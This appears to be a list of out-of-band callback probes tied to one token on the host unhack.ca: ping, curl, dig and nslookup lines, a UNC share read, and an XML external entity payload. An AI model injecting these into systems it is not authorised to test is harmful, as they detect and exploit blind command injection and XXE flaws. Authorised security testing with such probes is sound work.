$ ping -c1 -p 002951df843740f3bc0984071d731c00 unhack.ca
 

$ curl http://unhack.ca/p/2951df843740f3bc0984071d731c
 

$ dig 2951df843740f3bc0984071d731c @unhack.ca
 

$ dig 2951df843740f3bc0984071d731c.ns.unhack.ca
 

C:\> nslookup 2951df843740f3bc0984071d731c unhack.ca
 

C:\> type \\unhack.ca\2951df843740f3bc0984071d731c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2951df843740f3bc0984071d731c">]>
    <foo>&xxe;</foo>